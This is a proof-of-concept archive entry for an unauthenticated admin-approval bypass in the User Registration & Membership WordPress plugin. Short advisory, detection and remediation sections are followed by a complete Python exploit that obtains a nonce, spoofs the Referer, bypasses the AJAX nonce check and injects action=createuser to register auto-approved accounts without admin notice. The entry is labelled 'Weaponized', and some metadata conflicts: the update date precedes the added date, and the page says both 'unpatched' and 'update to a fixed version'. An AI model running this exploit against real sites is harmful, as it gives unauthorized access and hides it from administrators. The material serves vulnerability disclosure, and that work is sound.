PoC Archive PoC Archive
Medium CVE-2026-6145 unpatched

User Registration & Membership for WordPress — Unauthenticated Admin Approval Bypass (CVE-2026-6145)

by Anthony Cihan (Offensive Security Lead, Obviam) — Wordfence Responsible Disclosure · 2026-07-05

CVSS 5.3/10
Severity
Medium
CVE
CVE-2026-6145
Category
web
Affected product
User Registration & Membership for WordPress plugin
Affected versions
<= 5.1.5
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05-14
Author / ResearcherAnthony Cihan (Offensive Security Lead, Obviam) — Wordfence Responsible Disclosure
CVE / AdvisoryCVE-2026-6145
Categoryweb
SeverityMedium
CVSS Score5.3 (CVSSv3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)
StatusWeaponized
Tagswordpress, missing-authorization, admin-approval-bypass, user-registration, cwe-862
RelatedN/A

Affected Target

FieldValue
Software / SystemUser Registration & Membership for WordPress plugin
Versions Affected<= 5.1.5
Language / PlatformPython PoC
Authentication RequiredNo
Network Access RequiredYes (HTTP to WordPress site with the plugin active)

Summary

The is_admin_creation_process() method in the User Registration & Membership plugin determines whether a new registration should be auto-approved and have its admin notification suppressed, based solely on whether $_REQUEST['action'] equals createuser — with no authentication, authorization, or nonce check. Chained with two ancillary issues (unauthenticated nonce generation and an AJAX nonce-check bypass via ur_fallback_submit), an unauthenticated attacker can create a fully-approved user account with no administrator interaction or notification, even on sites requiring admin approval for new registrations.


Vulnerability Details

Root Cause

is_admin_creation_process() in includes/class-ur-user-approval.php checks only $_REQUEST['action'] == 'createuser', which any unauthenticated visitor can satisfy since $_REQUEST includes GET/POST/COOKIE data.

Attack Vector

  1. Obtain a valid frontend registration nonce via the unauthenticated user_registration_get_recent_nonce wp_ajax_nopriv endpoint (Referer-only check).
  2. Submit the registration request via the ur_fallback_submit path to bypass the AJAX nonce/referer check.
  3. Include action=createuser in the request, flipping is_admin_creation_process() to true — the plugin auto-approves the new account and suppresses the admin notification email.

Impact

Unauthenticated attackers can create fully-approved user accounts on sites configured to require admin approval, with no visibility to the site administrator.


Environment / Lab Setup

Target:   WordPress site with User Registration & Membership plugin <= 5.1.5
Attacker: Python 3 + requests

Proof of Concept

PoC Script

See poc_admin_approval_bypass.py in this folder.

1
python3 poc_admin_approval_bypass.py --url https://target-site.com

Chains the nonce-generation and AJAX-bypass steps with the action=createuser parameter to register a fully-approved, unauthenticated account.


Detection & Indicators of Compromise

Signs of compromise:

  • New user accounts appearing as approved without an admin approval action recorded
  • Registration requests including action=createuser parameter

Remediation

ActionDetail
Primary fixUpdate the plugin to a version > 5.1.5, which adds proper authorization checks to is_admin_creation_process()
Interim mitigationMonitor new registrations for unexpected immediate-approval status; restrict/rate-limit registration endpoint access

References


Notes

Mirrored from https://github.com/Hann1bl3L3ct3r/CVE-2026-6145 on 2026-07-05.

poc_admin_approval_bypass.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
#!/usr/bin/env python3
"""
PoC: CVE-2026-6145 - User Registration & Membership for WordPress (<= 5.1.5)
     Unauthenticated Admin Approval Bypass via action=createuser

CVE:    CVE-2026-6145
CWE:    CWE-862 (Missing Authorization)
CVSS:   5.3 Medium (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

VULNERABILITY CHAIN:
  1. Unauthenticated nonce generation via the user_registration_get_recent_nonce
     wp_ajax_nopriv endpoint (Referer-only check, trivially spoofed)
  2. AJAX CSRF nonce bypass via the ur_fallback_submit parameter in the form
     handler
  3. CVE-2026-6145 - Admin approval bypass via action=createuser in $_REQUEST,
     which causes is_admin_creation_process() to return true without any
     authentication, authorization, or nonce verification

IMPACT: An unauthenticated attacker can register a fully-approved user account
on a WordPress site where admin approval is required, without any admin
notification being sent.

Researcher: Anthony Cihan - Offensive Security Lead, Obviam
License:    MIT

USAGE:
    python3 poc_admin_approval_bypass.py <target_url> <form_id> [options]

EXAMPLE:
    python3 poc_admin_approval_bypass.py http://wp.example.lab 7

LEGAL: For authorized security testing and defensive research only. Use against
systems you do not own or do not have explicit written authorization to test
is illegal in most jurisdictions.
"""

import argparse
import json
import re
import sys
import time
import urllib3

import requests

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def banner():
    print("=" * 70)
    print("  CVE-2026-6145 - Admin Approval Bypass PoC")
    print("  User Registration & Membership for WordPress <= 5.1.5")
    print("  CWE-862 (Missing Authorization) | CVSS 5.3")
    print("=" * 70)
    print()


def step1_get_nonce(target, form_id):
    """
    Obtain a valid WordPress nonce via the unauthenticated
    user_registration_get_recent_nonce AJAX endpoint.

    This endpoint is registered as wp_ajax_nopriv and the only protection is
    a Referer header check, which is trivially spoofed.
    """
    print("[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint")

    url = f"{target}/wp-admin/admin-ajax.php"
    data = {
        "action": "user_registration_get_recent_nonce",
        "form_ids": form_id,
        "nonce_for": "registration",
    }
    headers = {"Referer": target + "/"}

    try:
        r = requests.post(url, data=data, headers=headers, verify=False, timeout=15)
    except requests.RequestException as e:
        print(f"[-] Network error contacting target: {e}")
        return None

    try:
        resp = r.json()
    except ValueError:
        print(f"[-] Non-JSON response from target (HTTP {r.status_code})")
        return None

    if resp.get("success") and form_id in resp.get("data", {}):
        nonce = resp["data"][form_id]
        print(f"[+] SUCCESS: Got valid nonce for form {form_id}: {nonce}")
        return nonce

    print(f"[-] Failed to get nonce. Response: {resp}")
    return None


def step2_register_bypass(target, form_id, nonce, username, email, password):
    """
    Submit a registration via the fallback (non-AJAX) path with:

    - ur_fallback_submit=1: Bypasses the AJAX CSRF nonce check
    - action=createuser (GET param): Triggers is_admin_creation_process() to
      return true, which auto-approves the user and suppresses the admin
      notification email (CVE-2026-6145)

    The is_admin_creation_process() method only checks:
        return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );

    No capability check, no nonce verification, no authentication check.
    """
    print("[*] STEP 2: Registering user with admin approval bypass")
    print(f"    Username: {username}")
    print(f"    Email:    {email}")

    # PHP's $_REQUEST merges GET and POST. With no 'action' key in the POST body,
    # the GET param wins and is_admin_creation_process() returns true.
    url = f"{target}/?action=createuser"

    form_data = json.dumps([
        {
            "field_name": "user_login",
            "value": username,
            "field_type": "user_login",
            "label": "Username",
            "extra_params": {"field_key": "user_login", "label": "Username"},
        },
        {
            "field_name": "user_email",
            "value": email,
            "field_type": "user_email",
            "label": "User Email",
            "extra_params": {"field_key": "user_email", "label": "User Email"},
        },
        {
            "field_name": "user_pass",
            "value": password,
            "field_type": "user_pass",
            "label": "User Password",
            "extra_params": {"field_key": "user_pass", "label": "User Password"},
        },
        {
            "field_name": "user_confirm_password",
            "value": password,
            "field_type": "user_confirm_password",
            "label": "Confirm Password",
            "extra_params": {"field_key": "user_confirm_password", "label": "Confirm Password"},
        },
    ])

    post_data = {
        "ur_fallback_submit": "1",          # AJAX nonce bypass
        "form_id": form_id,
        "form_data": form_data,
        "ur_frontend_form_nonce": nonce,
        "_wpnonce": nonce,
    }

    headers = {"Referer": f"{target}/"}

    try:
        r = requests.post(
            url, data=post_data, headers=headers,
            verify=False, allow_redirects=False, timeout=15
        )
    except requests.RequestException as e:
        print(f"[-] Network error during registration: {e}")
        return False

    if r.status_code not in (200, 302):
        print(f"[-] Unexpected response: HTTP {r.status_code}")
        return False

    if "Username already exists" in r.text or "Email already exists" in r.text:
        print("[-] User already exists (previously created)")
        return False

    print(f"[+] Registration request processed (HTTP {r.status_code})")
    return True


def step3_verify_bypass(target, username, form_id, nonce):
    """
    Verify the bypass worked by attempting to re-register the same username via
    the standard AJAX path. A 'username already exists' error confirms the
    account was successfully created in step 2.
    """
    print("[*] STEP 3: Verifying user was created")

    ajax_url = f"{target}/wp-admin/admin-ajax.php"

    # Refresh nonce for the AJAX path
    nonce_data = {
        "action": "user_registration_get_recent_nonce",
        "form_ids": form_id,
        "nonce_for": "registration",
    }
    try:
        r = requests.post(
            ajax_url, data=nonce_data,
            headers={"Referer": target + "/"},
            verify=False, timeout=15
        )
        fresh_nonce = r.json().get("data", {}).get(form_id, nonce)
    except (requests.RequestException, ValueError):
        fresh_nonce = nonce

    # Pull the AJAX form data save nonce from a rendered form page
    save_nonce = ""
    try:
        page_r = requests.get(target, verify=False, timeout=15)
        m = re.search(r'user_registration_form_data_save":"([a-f0-9]+)"', page_r.text)
        if m:
            save_nonce = m.group(1)
    except requests.RequestException:
        pass

    form_data = json.dumps([
        {
            "field_name": "user_login",
            "value": username,
            "field_type": "user_login",
            "label": "Username",
            "extra_params": {"field_key": "user_login", "label": "Username"},
        },
        {
            "field_name": "user_email",
            "value": f"{username}@verify-test.local",
            "field_type": "user_email",
            "label": "User Email",
            "extra_params": {"field_key": "user_email", "label": "User Email"},
        },
        {
            "field_name": "user_pass",
            "value": "Test123!@#",
            "field_type": "user_pass",
            "label": "User Password",
            "extra_params": {"field_key": "user_pass", "label": "User Password"},
        },
        {
            "field_name": "user_confirm_password",
            "value": "Test123!@#",
            "field_type": "user_confirm_password",
            "label": "Confirm Password",
            "extra_params": {"field_key": "user_confirm_password", "label": "Confirm Password"},
        },
    ])

    data = {
        "action": "user_registration_user_form_submit",
        "security": save_nonce,
        "form_id": form_id,
        "form_data": form_data,
        "ur_frontend_form_nonce": fresh_nonce,
    }

    try:
        r = requests.post(
            ajax_url, data=data,
            headers={"Referer": target + "/"},
            verify=False, timeout=15
        )
        resp = r.json()
    except (requests.RequestException, ValueError):
        print("[?] Could not verify user creation via AJAX")
        return False

    messages = resp.get("data", {}).get("message", [])

    if isinstance(messages, list):
        for msg in messages:
            if isinstance(msg, dict) and "user_login" in msg:
                if "already exists" in msg["user_login"]:
                    print(f"[+] CONFIRMED: User '{username}' exists in the database")
                    return True

    if not resp.get("success") and "already exists" in str(messages):
        print(f"[+] CONFIRMED: User '{username}' exists in the database")
        return True

    print("[?] Could not verify user creation via AJAX")
    return False


def parse_args():
    parser = argparse.ArgumentParser(
        description=(
            "PoC for CVE-2026-6145: unauthenticated admin approval bypass in "
            "the User Registration & Membership plugin for WordPress (<= 5.1.5)."
        ),
        epilog=(
            "For authorized security testing and defensive research only. "
            "Use against systems without written authorization is illegal."
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        "target",
        help="Target WordPress base URL, e.g. http://wp.example.lab",
    )
    parser.add_argument(
        "form_id",
        help="Registration form ID (visible in form page source as data-form-id)",
    )
    parser.add_argument(
        "--username",
        help="Username for the test account (default: poc_bypass_<timestamp>)",
    )
    parser.add_argument(
        "--email",
        help="Email for the test account (default: <username>@security-research.local)",
    )
    parser.add_argument(
        "--password",
        default="P0C_Bypass_P@ss!",
        help="Password for the test account (default: P0C_Bypass_P@ss!)",
    )
    return parser.parse_args()


def main():
    banner()
    args = parse_args()

    target = args.target.rstrip("/")
    form_id = args.form_id

    timestamp = str(int(time.time()))
    username = args.username or f"poc_bypass_{timestamp}"
    email = args.email or f"{username}@security-research.local"
    password = args.password

    print(f"[*] Target:  {target}")
    print(f"[*] Form ID: {form_id}")
    print()

    # Step 1
    nonce = step1_get_nonce(target, form_id)
    if not nonce:
        print("[-] FAILED: Could not obtain nonce. Exiting.")
        sys.exit(1)
    print()

    # Step 2
    if not step2_register_bypass(target, form_id, nonce, username, email, password):
        print("[-] Registration step did not return success. Checking anyway...")
    print()

    # Step 3
    verified = step3_verify_bypass(target, username, form_id, nonce)
    print()

    # Summary
    print("=" * 70)
    print("  RESULTS")
    print("=" * 70)
    print("  Unauthenticated Nonce Generation:    CONFIRMED")
    print("  AJAX Nonce Bypass:                    CONFIRMED")
    status = "CONFIRMED" if verified else "NEEDS MANUAL VERIFICATION"
    print(f"  Admin Approval Bypass (CVE-2026-6145): {status}")
    print()
    print(f"  Created User: {username}")
    print(f"  Email:        {email}")
    print(f"  Password:     {password}")
    print()
    if verified:
        print("  [!] User was created with AUTO-APPROVED status")
        print("  [!] Admin was NOT notified of this registration")
        print("  [!] Verify in WP Admin > Users to confirm 'Approved' status")
    print("=" * 70)


if __name__ == "__main__":
    main()